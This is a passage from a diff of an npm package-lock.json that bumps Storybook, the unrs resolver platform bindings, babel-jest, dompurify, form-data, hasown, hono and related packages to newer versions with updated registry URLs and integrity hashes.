"integrity": "sha512-/Tu1gPu+Fw+zOnAGmxRmOD30FX3a04LxcTAKflEtdpmtIMVR5bA3qpjy+f5YhoyDCecbXyKmL1OeIU2FIIZHqQ==", + "version": "10.4.5", + "resolved": "https://registry.npmjs.org/@storybook/react-dom-shim/-/react-dom-shim-10.4.5.tgz", + "integrity": "sha512-fKdikHC7cDgSuaBirPwvgFBmfO//3cln0y3GmDEQchUV2VFDrZ7ZL1/iH7dA21XuiFFhQcDRRkArJmvMAGG5Cg==", "dev": true, "license": "MIT", "funding": { @@ -5693,22 +6382,32 @@ "url": "https://opencollective.com/storybook" }, "peerDependencies": { + "@types/react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", + "@types/react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", - "storybook": "^10.3.6" + "storybook": "^10.4.5" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } } }, "node_modules/@storybook/react-vite": { - "version": "10.3.6", - "resolved": "https://registry.npmjs.org/@storybook/react-vite/-/react-vite-10.3.6.tgz", - "integrity": "sha512-tySQRc+8q7V2NkylQMNJjDV8zXy6tkxb8oDqw/DIhHhI9Xn77MTKVZ8Cihbo5NMm7HYTB6xDKr6wqdSMgdufYQ==", + "version": "10.4.5", + "resolved": "https://registry.npmjs.org/@storybook/react-vite/-/react-vite-10.4.5.tgz", + "integrity": "sha512-hppQmaI7UK+bd0VHP4rtPSwQptL+F0DkGy3ZwH89z2+KqNp8vmX2BFTKKaGRDc+wie8f/0fxWNLwSP2ZYUhG/Q==", "dev": true, "license": "MIT", "dependencies": { "@joshwooding/vite-plugin-react-docgen-typescript": "^0.7.0", "@rollup/pluginutils": "^5.0.2", - "@storybook/builder-vite": "10.3.6", - "@storybook/react": "10.3.6", + "@storybook/builder-vite": "10.4.5", + "@storybook/react": "10.4.5", "empathic": "^2.0.0", "magic-string": "^0.30.0", "react-docgen": "^8.0.0", @@ -5722,7 +6421,7 @@ "peerDependencies": { "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", - "storybook": "^10.3.6", + "storybook": "^10.4.5", "vite": "^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0" } }, @@ -5967,10 +6666,20 @@ } }, "node_modules/@svgr/core/node_modules/js-yaml": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.1.tgz", - "integrity": "sha512-qQKT4zQxXl8lLwBtHMWwaTcGfFOZviOJet3Oy/xmGk2gZH677CJM9EvtfdSkgWcATZhj/55JZ0rmy3myCT5lsA==", + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.2.0.tgz", + "integrity": "sha512-ePWsvanv0DWuDRsW8dnt+R4jQ31SCRCQ7hhNcPXZPsoBZiemuZNYGf7adZdqX2D86j6rvKp3RpCxVTSb8WQlOw==", "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/puzrin" + }, + { + "type": "github", + "url": "https://github.com/sponsors/nodeca" + } + ], "license": "MIT", "dependencies": { "argparse": "^2.0.1" @@ -6601,9 +7310,9 @@ "license": "MIT" }, "node_modules/@tybys/wasm-util": { - "version": "0.10.1", - "resolved": "https://registry.npmjs.org/@tybys/wasm-util/-/wasm-util-0.10.1.tgz", - "integrity": "sha512-9tTaPJLSiejZKx+Bmog4uSubteqTvFrVrURwkmHixBo0G4seD0zUxp98E1DzUBJxLQ3NPwXrGKDiVjwx/DpPsg==", + "version": "0.10.2", + "resolved": "https://registry.npmjs.org/@tybys/wasm-util/-/wasm-util-0.10.2.tgz", + "integrity": "sha512-RoBvJ2X0wuKlWFIjrwffGw1IqZHKQqzIchKaadZZfnNpsAYp2mM0h36JtPCjNDAHGgYez/15uMBpfGwchhiMgg==", "dev": true, "license": "MIT", "optional": true, @@ -7286,9 +7995,9 @@ "license": "ISC" }, "node_modules/@unrs/resolver-binding-android-arm-eabi": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-android-arm-eabi/-/resolver-binding-android-arm-eabi-1.11.1.tgz", - "integrity": "sha512-ppLRUgHVaGRWUx0R0Ut06Mjo9gBaBkg3v/8AxusGLhsIotbBLuRk51rAzqLC8gq6NyyAojEXglNjzf6R948DNw==", + "version": "1.12.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-android-arm-eabi/-/resolver-binding-android-arm-eabi-1.12.2.tgz", + "integrity": "sha512-g5T90pqg1bo/7mytQx6F4iBNC0Wsh9cu+z9veDbFjc7HjpesJFWD7QMS0NGStXM075+7dJPPVvBbpZlnrdpi/w==", "cpu": [ "arm" ], @@ -7300,9 +8009,9 @@ ] }, "node_modules/@unrs/resolver-binding-android-arm64": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-android-arm64/-/resolver-binding-android-arm64-1.11.1.tgz", - "integrity": "sha512-lCxkVtb4wp1v+EoN+HjIG9cIIzPkX5OtM03pQYkG+U5O/wL53LC4QbIeazgiKqluGeVEeBlZahHalCaBvU1a2g==", + "version": "1.12.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-android-arm64/-/resolver-binding-android-arm64-1.12.2.tgz", + "integrity": "sha512-YGCRZv/9GLhwmz6mYDeTsm/92BAyR28l6c2ReweVW5pWgfsitWLY8upvfRlGdoyD8HjeTHSYJWyZGD4KJA/nFQ==", "cpu": [ "arm64" ], @@ -7314,9 +8023,9 @@ ] }, "node_modules/@unrs/resolver-binding-darwin-arm64": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-darwin-arm64/-/resolver-binding-darwin-arm64-1.11.1.tgz", - "integrity": "sha512-gPVA1UjRu1Y/IsB/dQEsp2V1pm44Of6+LWvbLc9SDk1c2KhhDRDBUkQCYVWe6f26uJb3fOK8saWMgtX8IrMk3g==", + "version": "1.12.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-darwin-arm64/-/resolver-binding-darwin-arm64-1.12.2.tgz", + "integrity": "sha512-u9DiNT1auQMO20A9SyTuG3wUgQWB9Z7KjAg0uFuCDR1FsAY8A0CG2S6JpHS1xwm/w1G08bjXZDcyOCjv1WAm2w==", "cpu": [ "arm64" ], @@ -7328,9 +8037,9 @@ ] }, "node_modules/@unrs/resolver-binding-darwin-x64": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-darwin-x64/-/resolver-binding-darwin-x64-1.11.1.tgz", - "integrity": "sha512-cFzP7rWKd3lZaCsDze07QX1SC24lO8mPty9vdP+YVa3MGdVgPmFc59317b2ioXtgCMKGiCLxJ4HQs62oz6GfRQ==", + "version": "1.12.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-darwin-x64/-/resolver-binding-darwin-x64-1.12.2.tgz", + "integrity": "sha512-f7rPLi/T1HVKZu/u6t87lroib16n8vrSzcyxI7lg4BGO9UF26KhQL44sd9eOUgrTYhvRXtWOIZT5PejdPyJfUA==", "cpu": [ "x64" ], @@ -7342,9 +8051,9 @@ ] }, "node_modules/@unrs/resolver-binding-freebsd-x64": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-freebsd-x64/-/resolver-binding-freebsd-x64-1.11.1.tgz", - "integrity": "sha512-fqtGgak3zX4DCB6PFpsH5+Kmt/8CIi4Bry4rb1ho6Av2QHTREM+47y282Uqiu3ZRF5IQioJQ5qWRV6jduA+iGw==", + "version": "1.12.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-freebsd-x64/-/resolver-binding-freebsd-x64-1.12.2.tgz", + "integrity": "sha512-BpcOjWCJub6nRZUS2zA20pmLvjtqAtGejETaIyRLiZiQf++cbrjltLA5NN/xaXfqeOBOSlMFbemIl5/S5tljmg==", "cpu": [ "x64" ], @@ -7356,9 +8065,9 @@ ] }, "node_modules/@unrs/resolver-binding-linux-arm-gnueabihf": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-arm-gnueabihf/-/resolver-binding-linux-arm-gnueabihf-1.11.1.tgz", - "integrity": "sha512-u92mvlcYtp9MRKmP+ZvMmtPN34+/3lMHlyMj7wXJDeXxuM0Vgzz0+PPJNsro1m3IZPYChIkn944wW8TYgGKFHw==", + "version": "1.12.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-arm-gnueabihf/-/resolver-binding-linux-arm-gnueabihf-1.12.2.tgz", + "integrity": "sha512-vZTDvdSISZjJx66OzJqtsOhzifbqRjbmI1Mnu49fQDwog5GtDI4QidRiEAYbZCRj9C8YZEW+3ZjqsyS9GR4k2A==", "cpu": [ "arm" ], @@ -7370,9 +8079,9 @@ ] }, "node_modules/@unrs/resolver-binding-linux-arm-musleabihf": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-arm-musleabihf/-/resolver-binding-linux-arm-musleabihf-1.11.1.tgz", - "integrity": "sha512-cINaoY2z7LVCrfHkIcmvj7osTOtm6VVT16b5oQdS4beibX2SYBwgYLmqhBjA1t51CarSaBuX5YNsWLjsqfW5Cw==", + "version": "1.12.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-arm-musleabihf/-/resolver-binding-linux-arm-musleabihf-1.12.2.tgz", + "integrity": "sha512-BiPI+IrIlwcW4nLLMM21+B1dFPzd55yAVgVGrdgDjNef+ch03GdxrcyaIz8X9SsQirh/kCQ7mviyWlMxdh2D7g==", "cpu": [ "arm" ], @@ -7384,9 +8093,9 @@ ] }, "node_modules/@unrs/resolver-binding-linux-arm64-gnu": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-arm64-gnu/-/resolver-binding-linux-arm64-gnu-1.11.1.tgz", - "integrity": "sha512-34gw7PjDGB9JgePJEmhEqBhWvCiiWCuXsL9hYphDF7crW7UgI05gyBAi6MF58uGcMOiOqSJ2ybEeCvHcq0BCmQ==", + "version": "1.12.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-arm64-gnu/-/resolver-binding-linux-arm64-gnu-1.12.2.tgz", + "integrity": "sha512-zJc0H99FEPoFfSrNpa91HYfxzfAJCr502oxNK1cfdC9hlaFI43RT+JFCann9JUgZmLzzntChHyn13Sgn9ljHNg==", "cpu": [ "arm64" ], @@ -7398,9 +8107,9 @@ ] }, "node_modules/@unrs/resolver-binding-linux-arm64-musl": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-arm64-musl/-/resolver-binding-linux-arm64-musl-1.11.1.tgz", - "integrity": "sha512-RyMIx6Uf53hhOtJDIamSbTskA99sPHS96wxVE/bJtePJJtpdKGXO1wY90oRdXuYOGOTuqjT8ACccMc4K6QmT3w==", + "version": "1.12.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-arm64-musl/-/resolver-binding-linux-arm64-musl-1.12.2.tgz", + "integrity": "sha512-KQ3Lki6l+Pz1k/eBipN41ES+YUK30beLGb9YqcB1O542cyLCNE6GaxrfcY3T6EezmGGk84wb5XyO9loTM9tkcA==", "cpu": [ "arm64" ], @@ -7411,10 +8120,38 @@ "linux" ] }, + "node_modules/@unrs/resolver-binding-linux-loong64-gnu": { + "version": "1.12.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-loong64-gnu/-/resolver-binding-linux-loong64-gnu-1.12.2.tgz", + "integrity": "sha512-3SJGEh1DborhG6pyxvhPzCT4bbSIVihsvgJc13P1bHG7KLdNDaF9T3gsTwFc7Jw/5Y5/iWOjkEx7Zy0NvCGX3Q==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, + "node_modules/@unrs/resolver-binding-linux-loong64-musl": { + "version": "1.12.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-loong64-musl/-/resolver-binding-linux-loong64-musl-1.12.2.tgz", + "integrity": "sha512-jiuG/Obbel7uw1PwHNFfrkiKhLAF6mnyZ6aWlOAVN9WqKm8v0OFGnciJIHu8+CMvXLQ8AD51LPzAoUfT21D5Ew==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ] + }, "node_modules/@unrs/resolver-binding-linux-ppc64-gnu": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-ppc64-gnu/-/resolver-binding-linux-ppc64-gnu-1.11.1.tgz", - "integrity": "sha512-D8Vae74A4/a+mZH0FbOkFJL9DSK2R6TFPC9M+jCWYia/q2einCubX10pecpDiTmkJVUH+y8K3BZClycD8nCShA==", + "version": "1.12.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-ppc64-gnu/-/resolver-binding-linux-ppc64-gnu-1.12.2.tgz", + "integrity": "sha512-q7xRvVpmcfeL+LlZg8Pbbo6QaTZwDU5BaGZbwfhkEsXJn3Was8xYfE0RBH266xZt0rM6B7i8xAYIvjthuUIWHg==", "cpu": [ "ppc64" ], @@ -7426,9 +8163,9 @@ ] }, "node_modules/@unrs/resolver-binding-linux-riscv64-gnu": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-riscv64-gnu/-/resolver-binding-linux-riscv64-gnu-1.11.1.tgz", - "integrity": "sha512-frxL4OrzOWVVsOc96+V3aqTIQl1O2TjgExV4EKgRY09AJ9leZpEg8Ak9phadbuX0BA4k8U5qtvMSQQGGmaJqcQ==", + "version": "1.12.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-riscv64-gnu/-/resolver-binding-linux-riscv64-gnu-1.12.2.tgz", + "integrity": "sha512-0CVdx6lcnT3Q9inOH8tsMIOJ6ImndllMjqJHg8RLVdB7Vq4SfkEXl9mCSsVNuNA4MCYycRicCUxPCabVHJRr6A==", "cpu": [ "riscv64" ], @@ -7440,9 +8177,9 @@ ] }, "node_modules/@unrs/resolver-binding-linux-riscv64-musl": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-riscv64-musl/-/resolver-binding-linux-riscv64-musl-1.11.1.tgz", - "integrity": "sha512-mJ5vuDaIZ+l/acv01sHoXfpnyrNKOk/3aDoEdLO/Xtn9HuZlDD6jKxHlkN8ZhWyLJsRBxfv9GYM2utQ1SChKew==", + "version": "1.12.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-riscv64-musl/-/resolver-binding-linux-riscv64-musl-1.12.2.tgz", + "integrity": "sha512-iOwlRo9vnp6R6ohHQS11n0NnfdXx/omhkocmIfaPRpQhKZ+3BDMkkdRVh53qjkFkpPddf+FETA28NwGN7l5l+w==", "cpu": [ "riscv64" ], @@ -7454,9 +8191,9 @@ ] }, "node_modules/@unrs/resolver-binding-linux-s390x-gnu": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-s390x-gnu/-/resolver-binding-linux-s390x-gnu-1.11.1.tgz", - "integrity": "sha512-kELo8ebBVtb9sA7rMe1Cph4QHreByhaZ2QEADd9NzIQsYNQpt9UkM9iqr2lhGr5afh885d/cB5QeTXSbZHTYPg==", + "version": "1.12.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-s390x-gnu/-/resolver-binding-linux-s390x-gnu-1.12.2.tgz", + "integrity": "sha512-HYJtLfXq94q8iZNFT1lknx258wlkkWhZeUXJRqzKBBUJ00CvZ+N33zgbCqimLjsyw5Va6uUxhVa12mI+kaveEw==", "cpu": [ "s390x" ], @@ -7468,9 +8205,9 @@ ] }, "node_modules/@unrs/resolver-binding-linux-x64-gnu": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-x64-gnu/-/resolver-binding-linux-x64-gnu-1.11.1.tgz", - "integrity": "sha512-C3ZAHugKgovV5YvAMsxhq0gtXuwESUKc5MhEtjBpLoHPLYM+iuwSj3lflFwK3DPm68660rZ7G8BMcwSro7hD5w==", + "version": "1.12.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-x64-gnu/-/resolver-binding-linux-x64-gnu-1.12.2.tgz", + "integrity": "sha512-mPsUhunKKDih5O96Y6enDQyHc1SqBPlY1E/SfMWDM3EdJ95Z9CArPeCVwCCqbP45ljvivdEk8Fxn+SIb1rDAJQ==", "cpu": [ "x64" ], @@ -7482,9 +8219,9 @@ ] }, "node_modules/@unrs/resolver-binding-linux-x64-musl": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-x64-musl/-/resolver-binding-linux-x64-musl-1.11.1.tgz", - "integrity": "sha512-rV0YSoyhK2nZ4vEswT/QwqzqQXw5I6CjoaYMOX0TqBlWhojUf8P94mvI7nuJTeaCkkds3QE4+zS8Ko+GdXuZtA==", + "version": "1.12.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-x64-musl/-/resolver-binding-linux-x64-musl-1.12.2.tgz", + "integrity": "sha512-azrt6+5ydLd8Vt210AAFis/lZevSfPw93EJRIJG+xPu4WCJ8K0kppCTpMyLPcKT7H15M4Jnt2tMp5bOvCkRC6A==", "cpu": [ "x64" ], @@ -7495,10 +8232,24 @@ "linux" ] }, + "node_modules/@unrs/resolver-binding-openharmony-arm64": { + "version": "1.12.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-openharmony-arm64/-/resolver-binding-openharmony-arm64-1.12.2.tgz", + "integrity": "sha512-YZ9hP4O0X9PQb8eO980qmLNGH4zT3I9+SZTdt0Pr0YyuGQhYKoOZkV02VzrzyOZJ5xIJ3UFIenKkUkGg8GjgWQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openharmony" + ] + }, "node_modules/@unrs/resolver-binding-wasm32-wasi": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-wasm32-wasi/-/resolver-binding-wasm32-wasi-1.11.1.tgz", - "integrity": "sha512-5u4RkfxJm+Ng7IWgkzi3qrFOvLvQYnPBmjmZQ8+szTK/b31fQCnleNl1GgEt7nIsZRIf5PLhPwT0WM+q45x/UQ==", + "version": "1.12.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-wasm32-wasi/-/resolver-binding-wasm32-wasi-1.12.2.tgz", + "integrity": "sha512-tYFDIkMxSflfEc/h92ZWNsZlHSwgimbNHSO3PL2JWQHfCuC2q316jMyYU9TIWZsFK2bQwyK5VAdYgn8ygPj69A==", "cpu": [ "wasm32" ], @@ -7506,16 +8257,41 @@ "license": "MIT", "optional": true, "dependencies": { - "@napi-rs/wasm-runtime": "^0.2.11" + "@emnapi/core": "1.10.0", + "@emnapi/runtime": "1.10.0", + "@napi-rs/wasm-runtime": "^1.1.4" }, "engines": { "node": ">=14.0.0" } }, + "node_modules/@unrs/resolver-binding-wasm32-wasi/node_modules/@emnapi/core": { + "version": "1.10.0", + "resolved": "https://registry.npmjs.org/@emnapi/core/-/core-1.10.0.tgz", + "integrity": "sha512-yq6OkJ4p82CAfPl0u9mQebQHKPJkY7WrIuk205cTYnYe+k2Z8YBh11FrbRG/H6ihirqcacOgl2BIO8oyMQLeXw==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "@emnapi/wasi-threads": "1.2.1", + "tslib": "^2.4.0" + } + }, + "node_modules/@unrs/resolver-binding-wasm32-wasi/node_modules/@emnapi/runtime": { + "version": "1.10.0", + "resolved": "https://registry.npmjs.org/@emnapi/runtime/-/runtime-1.10.0.tgz", + "integrity": "sha512-ewvYlk86xUoGI0zQRNq/mC+16R1QeDlKQy21Ki3oSYXNgLb45GV1P6A0M+/s6nyCuNDqe5VpaY84BzXGwVbwFA==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.4.0" + } + }, "node_modules/@unrs/resolver-binding-win32-arm64-msvc": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-win32-arm64-msvc/-/resolver-binding-win32-arm64-msvc-1.11.1.tgz", - "integrity": "sha512-nRcz5Il4ln0kMhfL8S3hLkxI85BXs3o8EYoattsJNdsX4YUU89iOkVn7g0VHSRxFuVMdM4Q1jEpIId1Ihim/Uw==", + "version": "1.12.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-win32-arm64-msvc/-/resolver-binding-win32-arm64-msvc-1.12.2.tgz", + "integrity": "sha512-qzNyg3xL0VPQmCaUh+N5jSitce6k+uCBfMDesWRnlULOZaqUkaJ0ybdT+UqlAWJoQjuqfIU/0Ptx9bteN4D82g==", "cpu": [ "arm64" ], @@ -7527,9 +8303,9 @@ ] }, "node_modules/@unrs/resolver-binding-win32-ia32-msvc": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-win32-ia32-msvc/-/resolver-binding-win32-ia32-msvc-1.11.1.tgz", - "integrity": "sha512-DCEI6t5i1NmAZp6pFonpD5m7i6aFrpofcp4LA2i8IIq60Jyo28hamKBxNrZcyOwVOZkgsRp9O2sXWBWP8MnvIQ==", + "version": "1.12.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-win32-ia32-msvc/-/resolver-binding-win32-ia32-msvc-1.12.2.tgz", + "integrity": "sha512-WD9sY00OfpHVGfsnHZoA8jVT+esS/Bg8z8jzxp5BnDCjjwsuKsPQrzswwpFy4J1AUJbXPRfkpcX0mXrzeXW79g==", "cpu": [ "ia32" ], @@ -7541,9 +8317,9 @@ ] }, "node_modules/@unrs/resolver-binding-win32-x64-msvc": { - "version": "1.11.1", - "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-win32-x64-msvc/-/resolver-binding-win32-x64-msvc-1.11.1.tgz", - "integrity": "sha512-lrW200hZdbfRtztbygyaq/6jP6AKE8qQN2KvPcJ+x7wiD038YtnYtZ82IMNJ69GJibV7bwL3y9FgK+5w/pYt6g==", + "version": "1.12.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-win32-x64-msvc/-/resolver-binding-win32-x64-msvc-1.12.2.tgz", + "integrity": "sha512-nAB74NfSNKknqQ1RrYj6uz8FcXEomu/MATJZxh/x+BArzN2U3JbOYC0APYzUIGhVY3m5hRxA8VPNdPBoG8txlA==", "cpu": [ "x64" ], @@ -8246,16 +9022,16 @@ } }, "node_modules/babel-jest": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/babel-jest/-/babel-jest-30.3.0.tgz", - "integrity": "sha512-gRpauEU2KRrCox5Z296aeVHR4jQ98BCnu0IO332D/xpHNOsIH/bgSRk9k6GbKIbBw8vFeN6ctuu6tV8WOyVfYQ==", + "version": "30.4.1", + "resolved": "https://registry.npmjs.org/babel-jest/-/babel-jest-30.4.1.tgz", + "integrity": "sha512-fATAbM8piYxkiXQp3RBXmZHxZVNJZAVXXfyeyCN2Tida3+qJ8ea9UxhiJ2y4fLO90ZImKt6k9FlcH2+rLkJGhw==", "dev": true, "license": "MIT", "dependencies": { - "@jest/transform": "30.3.0", + "@jest/transform": "30.4.1", "@types/babel__core": "^7.20.5", "babel-plugin-istanbul": "^7.0.1", - "babel-preset-jest": "30.3.0", + "babel-preset-jest": "30.4.0", "chalk": "^4.1.2", "graceful-fs": "^4.2.11", "slash": "^3.0.0" @@ -8288,9 +9064,9 @@ } }, "node_modules/babel-plugin-jest-hoist": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-30.3.0.tgz", - "integrity": "sha512-+TRkByhsws6sfPjVaitzadk1I0F5sPvOVUH5tyTSzhePpsGIVrdeunHSw/C36QeocS95OOk8lunc4rlu5Anwsg==", + "version": "30.4.0", + "resolved": "https://registry.npmjs.org/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-30.4.0.tgz", + "integrity": "sha512-9EdtWM/sSfXLOGLwSn+GS6pIXyBnL07/8gyJlwFXjWy4DxMOyItqyUT29d4lQiS380EZwYlX7/At4PgBS+m2aA==", "dev": true, "license": "MIT", "dependencies": { @@ -8343,13 +9119,13 @@ } }, "node_modules/babel-preset-jest": { - "version": "30.3.0", - "resolved": "https://registry.npmjs.org/babel-preset-jest/-/babel-preset-jest-30.3.0.tgz", - "integrity": "sha512-6ZcUbWHC+dMz2vfzdNwi87Z1gQsLNK2uLuK1Q89R11xdvejcivlYYwDlEv0FHX3VwEXpbBQ9uufB/MUNpZGfhQ==", + "version": "30.4.0", + "resolved": "https://registry.npmjs.org/babel-preset-jest/-/babel-preset-jest-30.4.0.tgz", + "integrity": "sha512-lBY4jxsNmCnSiu7kquw8ZC9F4+XLMOKypT3RnNHPvU2Kpd4W0xaPuLr5ZkRyOsvLYAY4yaW1ZwTW4xB7NIiZzg==", "dev": true, "license": "MIT", "dependencies": { - "babel-plugin-jest-hoist": "30.3.0", + "babel-plugin-jest-hoist": "30.4.0", "babel-preset-current-node-syntax": "^1.2.0" }, "engines": { @@ -9877,9 +10653,9 @@ "license": "MIT" }, "node_modules/dompurify": { - "version": "3.4.2", - "resolved": "https://registry.npmjs.org/dompurify/-/dompurify-3.4.2.tgz", - "integrity": "sha512-lHeS9SA/IKeIFFyYciHBr2n0v1VMPlSj843HdLOwjb2OxNwdq9Xykxqhk+FE42MzAdHvInbAolSE4mhahPpjXA==", + "version": "3.4.11", + "resolved": "https://registry.npmjs.org/dompurify/-/dompurify-3.4.11.tgz", + "integrity": "sha512-zhlUV12GsaRzMsf9q5M254YhA4+VuF0fG+QFqu6aYpoGlKtz+w8//jBcGVYBgQkR5GHjUomejY84AV+/uPbWdw==", "license": "(MPL-2.0 OR Apache-2.0)", "optionalDependencies": { "@types/trusted-types": "^2.0.7" @@ -10788,16 +11564,16 @@ } }, "node_modules/form-data": { - "version": "4.0.5", - "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.5.tgz", - "integrity": "sha512-8RipRLol37bNs2bhoV67fiTEvdTrbMUYcFTiy3+wuuOnUog2QBHCZWXDRijWQfAkhBj2Uf5UnVaiWwA5vdd82w==", + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.6.tgz", + "integrity": "sha512-vKatAh4SlVfgbv+YtmhiRjhEMJsYpsG1Y2rMQtR+SVSbytsSD1YGzDIcrAJmdFec88u/+VoGmxnl+80gL1tRCQ==", "license": "MIT", "dependencies": { "asynckit": "^0.4.0", "combined-stream": "^1.0.8", "es-set-tostringtag": "^2.1.0", - "hasown": "^2.0.2", - "mime-types": "^2.1.12" + "hasown": "^2.0.4", + "mime-types": "^2.1.35" }, "engines": { "node": ">= 6" @@ -11264,9 +12040,9 @@ } }, "node_modules/hasown": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.3.tgz", - "integrity": "sha512-ej4AhfhfL2Q2zpMmLo7U1Uv9+PyhIZpgQLGT1F9miIGmiCJIoCgSmczFdrc97mWT4kVY72KA+WnnhJ5pghSvSg==", + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.4.tgz", + "integrity": "sha512-T2UbfbBEF32wiepXIsMlTW9+dDYC6wMh/t/vYA4tuOMKqWz/n3vr1NFSxQiyP+zk2mXsoMA/i/7qV6LKut1t1A==", "license": "MIT", "dependencies": { "function-bind": "^1.1.2" @@ -11478,9 +12254,9 @@ } }, "node_modules/hono": { - "version": "4.12.23", - "resolved": "https://registry.npmjs.org/hono/-/hono-4.12.23.tgz", - "integrity": "sha512-eIaZ9qDgu7XV0pxOCrg7/WhnQ6Ivm22UcxhXx/A3dcbqbbYgBEkc6e/J/s7j2tS96zoB0S9VBdLwQNCWwUo4LA==", + "version": "4.12.26", + "resolved": "https://registry.npmjs.org/hono/-/hono-4.12.26.tgz", + "integrity": "sha512-uyZtpnYxM9CmQ7QsQknM4zN8EftNqhON1qYeIKM0Se67CCEe2c44xyGURwB0axX2fBDu1dqHrHAc1hmNT8ITkw==", "dev": true, "license": "MIT", "engines": { @@ -12100,9 +12876,9 @@ } }, "node_modules/istanbul-lib-processinfo": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/istanbul-lib-processinfo/-/istanbul-lib-processinfo-3.0.0.tgz", - "integrity": "sha512-P7nLXRRlo7Sqinty6lNa7+4o9jBUYGpqtejqCOZKfgXlRoxY/QArflcB86YO500Ahj4pDJEG34JjMRbQgePLnQ==", + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/istanbul-lib-processinfo/-/istanbul-lib-processinfo-3.0.1.tgz", + "integrity": "sha512-s3mX05h5wGZeScG6XnOanygPh4SJu5ujMc9YbvpnLGXWy1cRiGbp0NdVcjHxgoZt3WfQppfBsa0y+gWdYJ2pGQ==", "dev": true, "license": "ISC", "dependencies": { @@ -12110,24 +12886,12 @@ "cross-spawn": "^7.0.3", "istanbul-lib-coverage": "^3.2.0", "p-map": "^3.0.0", - "rimraf": "^6.1.3", - "uuid": "^8.3.2" + "rimraf": "^6.1.3" }, "engines": { "node": "20 || >=22" } }, - "node_modules/istanbul-lib-processinfo/node_modules/uuid": { - "version": "8.3.2", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", - "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", - "deprecated": 